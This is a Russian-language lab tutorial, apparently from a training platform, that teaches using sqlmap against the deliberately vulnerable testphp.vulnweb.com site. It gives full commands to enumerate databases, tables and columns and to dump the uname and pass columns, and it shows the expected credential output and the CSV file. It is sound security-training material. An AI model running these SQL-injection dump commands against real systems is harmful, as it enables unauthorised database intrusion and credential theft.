Извлечение данных из определенных столбцов таблиц с помощью sqlmap

MySQLBeginner
Практиковаться сейчас

Введение

В этой лабораторной работе вы научитесь использовать sqlmap, инструмент для тестирования на проникновение с открытым исходным кодом, для автоматизации процесса обнаружения и эксплуатации уязвимостей SQL-инъекций, а также для получения контроля над серверами баз данных. В частности, мы сосредоточимся на том, как извлекать данные из определенных столбцов в известной таблице. Это распространенная задача при тестировании на проникновение и аудите безопасности, позволяющая извлекать только необходимую информацию, а не выгружать всю таблицу целиком. Вы попрактикуетесь в определении целевой базы данных, таблицы и столбцов, а затем используете флаг -C в sqlmap для указания желаемых столбцов для извлечения данных.

Определение целевой базы данных, таблицы и столбцов

На этом этапе вы научитесь определять целевую базу данных, таблицу и конкретные столбцы, из которых вы хотите извлечь данные. Прежде чем вы сможете извлечь данные, вам нужно знать, что вы ищете. В реальном сценарии эта информация обычно собирается на предыдущих этапах перечисления с использованием sqlmap (например, перечисление баз данных, таблиц и столбцов). Для этой лабораторной работы мы предполагаем, что вы уже определили следующее:

  • Целевой URL: http://testphp.vulnweb.com/listproducts.php?cat=1 (известный уязвимый URL для демонстрационных целей)
  • База данных: acuart
  • Таблица: users
  • Интересующие столбцы: uname (имя пользователя) и pass (пароль)

Эти детали крайне важны для построения точной команды sqlmap для извлечения только необходимых вам данных.

Чтобы смоделировать первоначальное перечисление, вы могли бы выполнить команды, подобные этим (в этой лабораторной работе их выполнять не нужно, так как мы предоставляем целевые данные):

Перечисление баз данных:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs

Перечисление таблиц в базе данных acuart:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --tables

Перечисление столбцов в таблице users базы данных acuart:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users --columns

Для этой лабораторной работы мы перейдем непосредственно к извлечению данных из конкретных столбцов, предполагая, что вышеуказанное перечисление было завершено.

Использование флага -C для указания столбцов для извлечения

На этом этапе вы научитесь использовать флаг -C в sqlmap для указания столбцов, из которых вы хотите извлечь данные. Этот флаг необходим для целенаправленного извлечения данных, позволяя получать только релевантную информацию и избегать ненужных данных.

Синтаксис использования флага -C прост: вы предоставляете список имен столбцов через запятую непосредственно после флага.

В нашем примере мы хотим извлечь столбцы uname (имя пользователя) и pass (пароль) из таблицы users в базе данных acuart.

Часть команды sqlmap, включающая флаг -C, будет выглядеть следующим образом:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users -C "uname,pass"

Разберем компоненты этой команды:

  • -u "http://testphp.vulnweb.com/listproducts.php?cat=1": Указывает целевой URL, уязвимый к SQL-инъекциям.
  • -D acuart: Указывает имя базы данных (acuart), из которой нужно извлечь данные.
  • -T users: Указывает имя таблицы (users) в базе данных acuart.
  • -C "uname,pass": Это ключевая часть. Она указывает sqlmap рассматривать только столбцы uname и pass для извлечения данных.

Этот фрагмент команды еще не является полным для извлечения данных, но он демонстрирует, как правильно указать желаемые столбцы. На следующем шаге мы добавим флаг --dump для начала фактического извлечения данных.

Использование флага --dump для инициирования извлечения данных

На этом этапе вы узнаете о флаге --dump, который используется для инициирования фактического процесса извлечения данных с помощью sqlmap. В то время как флаг -C указывает, какие столбцы следует извлечь, флаг --dump указывает sqlmap выполнить операцию извлечения данных.

При сочетании с целевым URL, базой данных, таблицей и спецификациями столбцов флаг --dump инструктирует sqlmap извлечь данные из указанных столбцов и сохранить их.

Полная команда sqlmap для извлечения столбцов uname и pass из таблицы users в базе данных acuart будет выглядеть так:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users -C "uname,pass" --dump

Давайте рассмотрим полную команду:

  • -u "http://testphp.vulnweb.com/listproducts.php?cat=1": Целевой URL.
  • -D acuart: Имя базы данных.
  • -T users: Имя таблицы.
  • -C "uname,pass": Конкретные столбцы для извлечения.
  • --dump: Действие, которое необходимо выполнить – извлечь данные.

Эта команда предпишет sqlmap найти уязвимости SQL-инъекций по указанному URL и, в случае успеха, извлечь данные из столбцов uname и pass таблицы users в базе данных acuart. Извлеченные данные обычно будут сохранены в CSV-файле в выходном каталоге sqlmap.

Выполнение команды извлечения данных

На этом этапе вы выполните полную команду sqlmap для извлечения данных из указанных столбцов. Это будет имитировать реальный сценарий извлечения данных.

Откройте терминал в каталоге ~/project и выполните следующую команду:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users -C "uname,pass" --dump

Ожидаемый вывод:

sqlmap сначала выполнит различные тесты для обнаружения уязвимостей SQL-инъекций. В случае успеха он приступит к извлечению данных. Вы увидите вывод, похожий на этот (точный вывод может отличаться в зависимости от версии sqlmap и ответа целевого сервера):

        _
       ___ ___ ___ ___
      |_ -| . | . | . |
      |___|_  |_  |_  |
            |_| |_| |_|   3.7#dev (r19000)

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. You are responsible for your own actions.
[!] sqlmap is a tool for professional penetration testers only.

[INFO] starting @ XXXX-XX-XX XX:XX:XX /YYYY-MM-DD HH:MM:SS/

... (различные сообщения об обнаружении и эксплуатации) ...

[INFO] fetching columns 'uname,pass' for table 'users' in database 'acuart'
[INFO] retrieved 10 entries
Database: acuart
Table: users
+----------+----------+
| uname    | pass     |
+----------+----------+
| test     | test     |
| admin    | admin    |
| john     | doe      |
| ...      | ...      |
+----------+----------+

[INFO] table 'acuart.users' dumped to CSV file '/home/labex/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv'
[INFO] finished @ XXXX-XX-XX XX:XX:XX /YYYY-MM-DD HH:MM:SS/

Обратите особое внимание на строку, указывающую, куда были извлечены данные (например, table 'acuart.users' dumped to CSV file '/home/labex/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv'). Этот путь важен для следующего шага.

Примечание: sqlmap может задать вам несколько вопросов в процессе (например, о продолжении других тестов или о желании сохранить сессии). Для этой лабораторной работы вы обычно можете нажать Enter, чтобы принять значение по умолчанию, или n, если будет предложено пропустить обширные тесты.

Поиск и просмотр извлеченных данных в выходном файле CSV

На этом заключительном этапе вы найдете CSV-файл, в который sqlmap сохранил извлеченные данные, и просмотрите его содержимое. sqlmap организует свои выходные данные в структурированном каталоге, обычно в ~/.local/share/sqlmap/output/.

На основе вывода предыдущего шага перейдите в каталог, где был сохранен файл users.csv. Путь будет похож на /home/labex/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/.

Сначала давайте перейдем в выходной каталог sqlmap. Точный путь может незначительно отличаться в зависимости от вашей версии sqlmap и цели, но в целом он следует шаблону: ~/.local/share/sqlmap/output/<домен_цели>/dump/<имя_базы_данных>/.

В нашем примере путь, скорее всего, будет таким: /home/labex/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/.

Используйте команду ls для вывода содержимого этого каталога:

ls -l ~/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/

Вы должны увидеть в списке users.csv (и, возможно, другие файлы).

Теперь используйте команду cat для просмотра содержимого файла users.csv:

cat ~/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv

Ожидаемый вывод:

Вывод покажет столбцы uname и pass, причем каждая строка будет представлять запись из таблицы users.

uname,pass
test,test
admin,admin
john,doe
...

Это подтверждает, что sqlmap успешно извлек только указанные столбцы, демонстрируя эффективность флага -C для целенаправленного извлечения данных.

Резюме

В этой лабораторной работе вы успешно научились извлекать данные из определенных столбцов таблиц с помощью sqlmap. Вы начали с понимания важности определения целевой базы данных, таблицы и столбцов. Затем вы отработали построение команд sqlmap с использованием флага -C для указания желаемых столбцов и флага --dump для инициирования извлечения данных. Наконец, вы выполнили команду и проверили извлеченные данные в сгенерированном выходном файле CSV. Такой целенаправленный подход имеет решающее значение для эффективного и точного получения данных во время тестирования на проникновение и оценки безопасности.